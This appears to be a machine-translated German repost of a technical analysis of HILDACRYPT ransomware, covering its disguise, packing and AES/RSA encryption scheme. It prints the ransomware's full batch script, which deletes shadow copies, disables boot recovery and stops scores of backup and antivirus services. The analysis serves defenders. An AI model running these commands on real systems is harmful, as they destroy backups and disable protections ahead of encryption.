{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: Ein neues Erpressungsprogramm greift Backup-Systeme und Antiviren-L\u00f6sungen an.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hallo, Habr! Heute berichten wir erneut \u00fcber die neuesten Versionen von Malware aus der Ransomware-Kategorie. HILDACRYPT ist ein neuer Ransomware-Programm, ein Vertreter der im August 2019 entdeckten Hilda-Familie, die nach einem Animationsfilm des Streaming-Dienstes Netflix benannt wurde, der f\u00fcr die Verbreitung der Software verwendet wurde. Heute erfahren wir mehr \u00fcber die technischen Merkmale dieses aktualisierten Ransomware-Virus.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nIn der ersten Version der Hilda-Ransomware war ein Link zu einem auf YouTube ver\u00f6ffentlichten Trailer<\/a><\/noindex> des Animationsfilms in der L\u00f6segeldforderung enthalten. HILDACRYPT tarnt sich hingegen als legitimer Installer von XAMPP \u2013 einem einfach zu installierenden Apache-Distributionspaket, das MariaDB, PHP und Perl enth\u00e4lt. Zudem hat der Krypto-Locker einen anderen Dateinamen \u2013 xamp. Au\u00dferdem hat die Ransomware-Datei keine digitale Signatur.<\/p>\n

Statische Analyse<\/h3>\n

\nDie Ransomware befindet sich in einer PE32 .NET-Datei, die f\u00fcr MS Windows geschrieben wurde. Ihre Gr\u00f6\u00dfe betr\u00e4gt 135.168 Bytes. Der urspr\u00fcngliche Programmcode sowie der Code des Schutzprogramms sind in C# geschrieben. Laut dem kompilierungsdatum und -zeitstempel wurde die Bin\u00e4rdatei am 14. September 2019 erstellt.<\/p>\n

\"HILDACRYPT:
\n
\nLaut Detect It Easy wird die Ransomware mit Confuser und ConfuserEx gepackt, wobei diese Obfuscatoren wie vorher sind; nur ist ConfuserEx der Nachfolger von Confuser, sodass die Signaturen ihres Codes \u00e4hnlich sind. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT ist tats\u00e4chlich mit ConfuserEx gepackt. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Angriffsvektor<\/h3>\n

\nWahrscheinlich wurde die Ransomware auf einer der Webseiten zum Webprogrammieren entdeckt und versteckt sich unter einem legitimen Programm wie XAMPP.<\/p>\n

Die gesamte Infektionskette kann man in app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuskation <\/h3>\n

\nDie Strings der Ransomware werden verschl\u00fcsselt gespeichert. Beim Start entschl\u00fcsselt HILDACRYPT sie mit Base64 und AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installation von<\/h3>\n

\nZun\u00e4chst erstellt die Ransomware unter %AppDataRoaming% einen Ordner, dessen GUID (Globally Unique Identifier) zuf\u00e4llig generiert wird. Indem sie eine Batch-Datei in dieses Verzeichnis hinzuf\u00fcgt, startet die Ransomware sie mit cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nAnschlie\u00dfend beginnt sie mit der Ausf\u00fchrung des Batch-Skripts, umSystemfunktionen oder -dienste zu deaktivieren.<\/p>\n

\"HILDACRYPT:
\n
\nDas Skript enth\u00e4lt eine lange Liste von Befehlen, mit denen Schattenkopien gel\u00f6scht, der SQL-Server deaktiviert, sowie Backup- und Antivirenl\u00f6sungen gestoppt werden.<\/p>\n

Es versucht beispielsweise erfolglos, die Backup-Dienste von Acronis Backup zu stoppen. Dar\u00fcber hinaus greift es die Backup- und Antivirenl\u00f6sungen folgender Anbieter an: Veeam, Sophos, Kaspersky, McAfee und weitere.<\/p>\n

@echo off\n:: Not really a fan of ponies, cartoon girls are better, don't you think?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nNachdem die oben genannten Dienste und Prozesse deaktiviert wurden, sammelt der Krypto-Locker Informationen \u00fcber alle laufenden Prozesse mithilfe des Befehls tasklist, um sicherzustellen, dass alle ben\u00f6tigten Dienste nicht aktiv sind. 
\ntasklist v \/fo csv<\/i><\/p>\n
Dieser Befehl gibt eine detaillierte Liste der laufenden Prozesse aus, deren Elemente durch ein \u00ab,\u00bb getrennt sind. 
\n«\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,»\ufffd\/\ufffd»,\u00ab0:00:03\u00bb,»\ufffd\/\ufffd»»
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nNach dieser \u00dcberpr\u00fcfung beginnt das Ransomware-Programm mit dem Verschl\u00fcsselungsprozess. <\/p>\n
Verschl\u00fcsselung 
\n<\/h3>\n
Dateiverschl\u00fcsselung<\/h4>\n
\nHILDACRYPT durchsucht alle gefundenen Inhalte der Festplatten, mit Ausnahme der Ordner Recycle.Bin und Reference AssembliesMicrosoft. Letzterer enth\u00e4lt kritische Dateien wie dll, pdb usw. f\u00fcr .Net-Anwendungen, die die Funktionsweise des Ransomware-Programms beeintr\u00e4chtigen k\u00f6nnen. F\u00fcr die Suche nach Dateien, die verschl\u00fcsselt werden sollen, wird die folgende Liste von Dateierweiterungen verwendet:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nF\u00fcr die Verschl\u00fcsselung der Benutzerdaten verwendet die Ransomware den AES-256-CBC Algorithmus. Die Schl\u00fcsselgr\u00f6\u00dfe betr\u00e4gt 256 Bit, und die Initialisierungsvektorgr\u00f6\u00dfe (IV) liegt bei 16 Byte. <\/p>\n
\"HILDACRYPT:
\n
\nIm folgenden Screenshot wurden die Werte byte_2 und byte_1 zuf\u00e4llig mit GetBytes() generiert. <\/p>\n
\"HILDACRYPT:
\n
\nDer Schl\u00fcssel<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nDie verschl\u00fcsselte Datei hat die Endung HCY!.. Dies ist ein Beispiel f\u00fcr eine verschl\u00fcsselte Datei. F\u00fcr diese Datei wurden der oben genannte Schl\u00fcssel und IV erstellt. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Verschl\u00fcsselung der Schl\u00fcssel<\/h4>\n
\nDer Kryptolocker speichert den generierten AES-Schl\u00fcssel in der verschl\u00fcsselten Datei. Der erste Teil der verschl\u00fcsselten Datei enth\u00e4lt einen Header, der Informationen wie HILDACRYPT, KEY, IV, FileLen im XML-Format enth\u00e4lt und wie folgt aussieht:<\/p>\n
\"HILDACRYPT:
\n
\nDie Verschl\u00fcsselung des AES-Schl\u00fcssels und des IV erfolgt mithilfe von RSA-2048, w\u00e4hrend die Kodierung mit Base64 erfolgt. Der RSA- \u00f6ffentliche Schl\u00fcssel wird im K\u00f6rper des Kryptolockers in einer der verschl\u00fcsselten Zeilen im XML-Format gespeichert.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
F\u00fcr die Verschl\u00fcsselung des AES-Dateischl\u00fcssels wird der RSA-\u00f6ffentliche Schl\u00fcssel verwendet. Der RSA-\u00f6ffentliche Schl\u00fcssel ist in Base64 kodiert und besteht aus dem Modul und der \u00f6ffentlichen Exponenten 65537. Zum Entschl\u00fcsseln wird der private RSA-Schl\u00fcssel ben\u00f6tigt, der dem Angreifer geh\u00f6rt.<\/p>\n
Nach der RSA-Verschl\u00fcsselung wird der AES-Schl\u00fcssel mit Base64 codiert und in der verschl\u00fcsselten Datei gespeichert.<\/p>\n
L\u00f6segeldnachricht<\/h3>\n
\nNach Abschluss der Verschl\u00fcsselung speichert HILDACRYPT eine HTML-Datei in dem Ordner, in dem die Dateien verschl\u00fcsselt wurden. Die Mitteilung der Ransomware enth\u00e4lt zwei E-Mail-Adressen, \u00fcber die das Opfer den Angreifer kontaktieren kann.<\/p>\n